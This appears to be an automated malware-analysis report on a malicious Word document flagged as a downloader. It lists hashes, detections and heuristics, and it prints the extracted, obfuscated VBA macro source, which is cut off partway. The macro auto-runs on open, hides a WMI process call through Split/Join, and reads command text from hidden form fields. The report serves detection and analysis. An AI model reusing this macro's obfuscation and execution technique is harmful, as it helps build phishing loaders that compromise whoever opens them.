Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa0ce8c142463b37…

MALICIOUS

Office (OLE)

169.7 KB Created: 2020-07-28 06:48:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 29828e466860a2972c4ce074d71348a0 SHA-1: 815f96c75289ea3ec8862beaadc35a30d6551c03 SHA-256: fa0ce8c142463b37579d0d5a4fbb8da9dde5081ce2d5ffe0303872a533e7e190
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager. This indicates the document is designed to run malicious code upon opening, likely to download and execute a secondary payload. The ClamAV detection 'Doc.Downloader.Logan-9370675-0' further supports its malicious nature as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Logan-9370675-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Logan-9370675-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4524 bytes
SHA-256: ca9c4a058d425ae5ccb436b320cecb522050f00a9a053cd38619d05d464fca0e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "tiesthochotguuv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
thiotruunnufsoec.jounthoubviath
End Sub


Attribute VB_Name = "thiotruunnufsoec"
Attribute VB_Base = "0{103C907F-10BD-48EF-AF37-3261C066F2F5}{F4E778A4-888D-4717-A8EC-A69BEEF80AC9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function jounthoubviath()
yuaysah = Chr(thiotruunnufsoec.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
kiobmooykik = "voeypoam"
Loop
zeifzeih = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + yuaysah + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + thiotruunnufsoec.siofnuwjuc + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
xuthxoamkog = "bothpooxchier"
Loop
bouhbeiqu = coomdoowfoath(zeifzeih)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
xeowzaojnan = "quioschuakpaubkaot"
Loop
Set teenquibjaofmeut = CreateObject(bouhbeiqu)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
chaogjiochgouch = thiotruunnufsoec.yeamyivyeelpeat.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
xuulkuufzoij = "bithqueethoadkut"
Loop
vozdeoytheiythaeg = NN + (bouhbeiqu + yuaysah) + thiotruunnufsoec.yeidpeikthoen.ControlTipText + chaogjiochgouch
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
weyxegdiorniob = vozdeoytheiythaeg + thiotruunnufsoec.siofnuwjuc
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
queafceuy = "butwaon"
Loop
Set yoexbohcaiy = toifhoomquiotzeim(weyxegdiorniob)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
teuchciej = "cheiwzaeckaz"
Loop
uiii = Array("BNSBSBBSSS", teenquibjaofmeut. _
Create(faepsiow, yaucchuthtiy, yoexbohcaiy), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function toifhoomquiotzeim(kievtheewtouczoiw)
Set toifhoomquiotzeim = CreateObject(kievtheewtouczoiw)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
thiopmoumfias = "meffooz"
Loop
toifhoomquiotzeim.showwindow = (neavmoeg + keutveaksaom) + (vioyveectheor + thisnaig)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function coomdoowfoath(chiewxaez)
loemrikjeik = chiewxaez
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
yaekdeit = "weisquaejquuchveen"
Loop
siotpiegrooth = Split _
(loemrikjeik, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
leithzeuch = "cheatmool"
Loop
beubyoj = kooooo + Join(siotpiegrooth, buuuu)
Dim FE8ÀZPIY As Long
FE8ÀZPIY = InStr("WnuNksorVHT", "sorVHT")
coomdoowfoath = beubyoj
Dim GaWZEpC As Integer
GaWZEpC = 4
Do While GaWZEpC < 4 + 4
GaWZEpC = GaWZEpC + 5: DoEvents
wiepjochhaer = "quoisbis"
L
... (truncated)